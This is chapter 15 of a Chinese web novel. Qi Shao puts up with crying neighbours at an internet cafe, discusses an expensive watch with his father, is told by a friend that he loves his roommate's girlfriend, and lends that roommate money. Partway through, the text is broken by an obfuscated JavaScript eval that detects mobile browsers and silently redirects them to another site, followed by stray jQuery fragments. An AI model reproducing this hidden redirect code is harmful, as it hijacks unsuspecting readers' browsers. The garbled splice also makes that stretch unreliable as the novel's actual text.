15. 第 15 章

作品:《你却把手勾

    饭桌上王行泽在安排明天比赛的事情,比赛有五人加三人组队两人模式。


    因为只有前三名才有综测分,所以祁绍只参加五人组的比赛,负责带队。


    五人组有陈深,许还今,秦新月和王行泽,剩下的薛彩钱吊车外加陈深再组一队。


    比赛都在南楼的103教室举行,三人组先开始,晚上六点初赛,五人组七点半,具体时间要看抽签结果。


    王行泽说:“祁绍,明天全靠你了。”


    祁绍点头。


    他今天似乎心情不佳,许还今这边才吃了几口,祁绍那边已经吃完起身打算走了。


    王行泽提醒说:“你打游戏早点回来休息,晚上还要打比赛。”


    祁绍嗯了声。


    他在网吧一般点包间,但今天网吧人多,网管给他在大厅里找了个机子。


    旁边有位光头大哥正在打电话,目测一米九纹身男,两条花臂大大咧咧地摊在桌上,但哭得尤为激动。


    “宝宝,亲爱的,我不能没有你啊,宝宝!宝宝!”


    祁绍打开游戏登上账号,大哥哭哭啼啼地说:“你是不是就爱小白脸,我也能改,我这就去把纹身洗了!宝宝!宝宝!”


    祁绍不由得侧身看了下大哥的纹身,满臂,这洗起来不是一般的痛,果然,爱情让人头昏。


    他刚开一局消息,隔壁大哥还有更头昏的操作,他左躺右躺没找到可靠的依赖,疑似神经病地靠在了祁绍的肩膀上。


    祁绍:“……”


    大哥毫无冒犯他人的意思,靠上来之后哭得更大声了,


    “你说爱我为什么不收我的礼物,那是我辛辛苦苦赚钱买的,宝宝!宝宝!你是不是变心了……”


    祁绍点了两下屏幕页面,在当透明人。


    那边不知道聊了什么,大哥破涕为笑,笑得跟朵向阳花似的,一米八的大汉扭扭捏捏地像个被恶劣亲戚调戏的孩子。


    “我就知道你爱我……那人家又不知道……宝宝,我真的哭了,不是假的,不信你问呢。”


    手机举到祁绍面前,祁绍都没敢回头看大哥的脸,老实回答:“嗯,哭的泪流满面,特别感人。”


    也特别惊悚。


    他这句话说完,对面女生一脸惊喜:“小哥哥,你声音好好听呀!长得帅不帅呀?”


    祁绍:“……”


    眼看大哥又要泪崩,祁绍赶紧拍了拍大哥的肩膀以示安慰。


    在祁绍敷衍的动作和狠心女友的一句句:“小哥哥你再说句话嘛”的请求下,大哥终于伤透了心,鬼哭狼嚎地离开了。


    祁绍揉了下肩膀开始打游戏。


    没几分钟,身边又坐了一个男的,一开始是在打游戏,还和祁绍玩的是同一款游戏。


    但玩了两局,祁绍摘耳机喝水,隔壁男的也举起手机。


    “哇——老婆,我想你想的睡不着觉,为什么你对那个男的那么好?!”


    “老婆!老婆!咱俩和好吧——”


    “……”


    祁绍手一顿,感觉今天这个网吧风水可能和他犯冲。


    他勉强又打了两局游戏,在经历隔壁抽烟痛哭,砸键盘之后祁绍果断站起身去前台提前退台。


    出去后他又找了家电竞酒店,掏手机付钱的时候顺带摸到了口袋里的卡片。


    上面有好几个对接人的联系方式,基本都是一线品牌。


    这还是祁绍问董女士要的,但是人家不收,这就没办法了。


    硬制的纸硌着手掌,祁绍进去房间把卡片扔在桌上,开电脑戴耳机,昏天黑地打了两个多小时,八点半电话响了,是祁坤。


    祁绍一局游戏还没打完,接了电话放在桌面上问:“坤哥,什么事?”


    “你的手表拍下来了,刚送过来,看一眼好不啦?”


    祁绍摁了几下键盘,拿起手机。


    上个世纪的名表到今天珐琅色依旧浓郁,祁绍勉强提起点劲,多看了几眼。


    “多少钱?”


    “比估的贵了一倍,”祁坤说道:“不过你喜欢嘛,老爸怎么着都要买给你。”


    祁绍这一天天的对什么都不敢兴趣,唯一的爱好就是玩表,所谓玩车穷一代,玩表穷三代,祁绍自称自己花钱不多,实际买表的时候出手比谁都大方。


    他那半柜子的表每只拿出去都价格不菲,但祁坤就他这一个儿子,家里从上到下对祁绍的态度就是不管多贵,你喜欢咱就买。


    祁绍点点头,说:“谢了坤哥。”


    他这个反应实在有些平淡,祁坤往前镜头前凑凑,问:“咋了儿子,不高兴?”


    “没。”


    “看上别的表了?你和老爸说,爸给你买。”


    “还没。”


    “真没?老爸看你心情不好……”


    聊了两句,董女士从房间出来刚好听到这句话,连忙走过来问:“发生什么事了祁绍,你遇到麻烦要和家里说,是不是在学校上学不高兴,叫你爸爸接你回来住两天好不好啦?”


    董持云的妹妹有个女儿,曾经和祁绍都在浦江六中读书,比祁绍大一级,高二那年遇到了校园霸凌,因此换上了抑郁症,还自杀过,后来祁绍的小姨送她去国外读书,经过几年的治疗才略有好转。


    经历过这件事之后,本就对祁绍要求不高的董持云更是对他放低底线,只要祁绍过得高兴一切都好说。


    祁绍举起手机,把摄像头对准自己的脸:“没事,刚才打游戏困了。”


    他脸色看着还好,董持云略微放心,劝道:“困了就去睡觉,不要成天都打游戏。”


    祁绍点头,“我一会就去睡。”


    这次董女士也没聊女朋友的事情,聊了两局就催着祁绍去睡觉,把电话挂了。


    本来祁绍说睡觉是谎言,但他又打了几句游戏之后实在觉得今天很没劲,才十点就去睡觉了。


    但没睡着,祁绍的大脑里还在想着吃饭时候的事情。


    许还今很明显的在抗拒他的接近,就算是对男朋友的舍友要避嫌,可她对王行泽、钱吊车他们也不这样。


    他有对许还今干过什么混账事吗?明明他们之前接触很少。


    难道是他得罪过陈深,以至于许还今为了男朋友看他不爽。


    没有吧,他和陈深也很少说话。


    祁绍在床上静静地躺了几分钟,拿起手机,屏幕上亮起了一条消息,


    Veloce【在?】


    Veloce是祁绍好友荣觉的微信名,和祁绍从小玩到大,从幼儿园到高中都在一起上学,大学才分开。


    高考的报志愿的时候荣觉为了逃避家里的监管决定自己报志愿。


    原本他想报一所离家远事少的大学,但马失前蹄,经过多番比较,在志愿平台和学校招生办的双重忽悠下,成功把志愿填进了大山里。


    ——报考的学校在一个偏僻的县城,还是山脚下。


    属于上个学成功把自己整流放了,荣觉本来是圈子有名的会玩爱玩,日常就是赛车跳伞滑雪这些。


    一朝进了大山,差点没把他整抑郁。


    恐龙【在】


    【有什么事?】


    veloce【干妈说你心情不好,让我问问你,怎么了祁绍?】


    荣觉的母亲和董持云是闺蜜,两家交好,董持云因此认了荣觉当干儿子。


    恐龙【没事】


    发完,祁绍顿了几秒,忽然发语音问:“我前几天想送一个女生礼物,她是模特,我找了几家珠宝工作室的名片给她方便她借珠宝,但是她不收,这是为什么?”


    祁绍问【她不喜欢我送的礼物?】


    【我从董女士那买条手链给她?】


    那边荣觉几秒没说话。


    五分钟过去,发来一个【?】


    恐龙【什么意思?】


    恐龙【你也不懂?】


    荣觉干脆也发了语音,磁劲的低音,“不懂别人,懂你。”


    恐龙【?】


    荣觉轻描淡写:“你爱她。”


    “……”,祁绍:“??!”


    祁绍被这句话砸得有点懵,直接从床上坐起来,室内温度很低,他十分严肃地发【好哥哥你别乱说。】


    荣觉:“没乱说,我给你分析分析。”


    “首先,这是你第一次和我聊起除你我亲戚之外的女生。其次,干妈设计的首饰不便宜,你说你只见了她几面,叫别人女朋友宝宝虽然可耻但不至于送这么贵的礼物当赔礼。


    “这只有两个原因,第一你脑子有病,第二你爱她,所以想送她好的,人家不收你不爽。”


    祁绍:“……”


    祁绍:“她是我舍友女朋友,我不可能爱她。”


    veloce【既然你不爱她,东西送了你歉意也传达到了,这件事不就结束了吗?】


    Veloce【还是说你真脑子有病?】


    荣觉说的有几分道理,祁绍抓了两下自己的头发,重新躺倒。


    恐龙【不想聊了,睡了】


    祁绍这次睡着了,但醒得也早,七点多就醒了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067291|195166||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    他在学校附近有固定的酒店住所,一般每次在网吧过夜后就会直接过去换衣服洗漱。


    昨天带的东西不多,祁绍的视线扫过桌面,上面孤伶伶就地躺着一张卡片。


    他想起昨天荣觉的话,确实,许还今不收礼物可能也有她自己的考量。


    自己作为送礼的人既然已经表达了歉意,就没必要再强迫别人非要接受他的好意。


    不管她出于什么原因在避嫌都和自己没关系,别对舍友的女朋友有太重的好奇心。


    房间内温度很低,从被子到桌面都是一片冰凉,祁绍随手拿起卡片胡乱塞进口袋。


    *


    祁绍晚上回来打比赛的时候戴了一顶鸭舌帽,今天他发挥的格外牛,一人团灭对面两次,播报音效不断响起。


    打完成功晋级,薛彩她们想和祁绍拍张合照。


    祁绍同意了,他对每一个人都同等的好脾气,康婷还特意从宿舍里赶过来,硬是也和祁绍拍了张合照。


    许还今正在侧头看陈深的手机,电竞社要求参赛选手拍合照的时候她才起身。


    五个人,祁绍站在最左,许还今站在最右侧。


    拍完照片,祁绍回宿舍。


    两个没比赛的毛猴跟何所正在隔壁寝室聊天,过会他们宿舍要打麻将,来306叫人。


    “打麻将,四缺二,谁来?”


    陈深在看手机,头也没抬说不去。


    “不来啊,祁绍呢,祁绍,绍,来一个吧?”


    祁绍也说不去。


    他俩都不去,那只能钱吊车和王行泽去了,两人都是麻将桌的常客,一人穿条短裤,光着上身就去了。


    “来来,今晚看我大杀四方。”


    “我充电器呢?泽哥吹起来了,今晚让你连裤子都赔出来。”


    ……


    几人走后,宿舍就剩下祁绍和陈深。


    祁绍在开电脑,陈深则是在看消息,昨天发的消息到几天他母亲终于有空回复了。


    但是在陈深开口要钱的时候他妈妈却没有同意。


    陈深的目前知道许还今,也知道她在兼职做模特,但是对此并看不上眼,认为学生就应该好好学习。


    花开富贵【你要两万给那个女生花?妈妈说过了,一个学生应该先搞好自己的学习,不要去干乱七八糟的工作。】


    花开富贵【她家庭情况差劲,你长大了,应该知道社会上有些人心思不单纯,图钱图家产……】


    这话的意思就是在说许还今是因为钱才和陈深在一起的,陈深一个头比两个大。


    【好好,我不跟你说了妈,你这么把人想的这么坏?】


    他把手机关了,这条路行不通但是钱还要继续搞。


    陈深忽然想到了什么,起身走到祁绍身边,拍拍他的肩膀,俯身小声地说:“祁绍。”


    祁绍伸手摘下耳机,但眼睛没离开屏幕,“有事你说。”


    陈深别扭地开口:“我想问你借点钱。”


    祁绍的语气没有任何变化,问:“借多少?”


    “一万八,”陈深找借口:“我看上一条裙子想买给我女朋友,差点钱,过几天等我把球鞋卖了还你。”


    祁绍愣了一下,他控制着人物转了一圈,说:“行。”


    然后握着鼠标,单手去拿手机,陈深本来以为他要看看余额,没想到祁绍直接就发了。


    一万八一秒到账。


    陈深有点牙酸,他知道祁绍很富,而且是那种完全和普通人不是一个阶级的富。


    平时这种不明显,顶多是祁绍用的东西都很贵,只有在看他朋友圈偶尔发的那些内容时陈深才能大致领会一下。


    赛车名表,家里能从地下车库直接开到客厅,朋友也都是非富即贵,比如他那个外甥段正年。


    豪车不重样,女朋友换的比车还勤快,一出手就是名牌包,历任女友没一个说他不好的。


    陈深心里有微妙的不是滋味,但普通的差距还能说可以激励自己奋发上进,努力一下能超越,像祁绍这种,除了背后吐槽一句运气好会投胎之外已经让人没啥比较的欲望了。


    陈深说了声谢谢,祁绍点头,“钱你不用急着还我。”


    “哦哦好,谢了兄弟。”


    “没事。”


    陈深过会也去了隔壁寝室,祁绍在桌子前坐了几分钟,起身收拾东西打算去外面住几天。


    把手机塞进口袋时又摸到了那张卡片。


    祁绍拿出来,折了两下,随即扔进垃圾桶。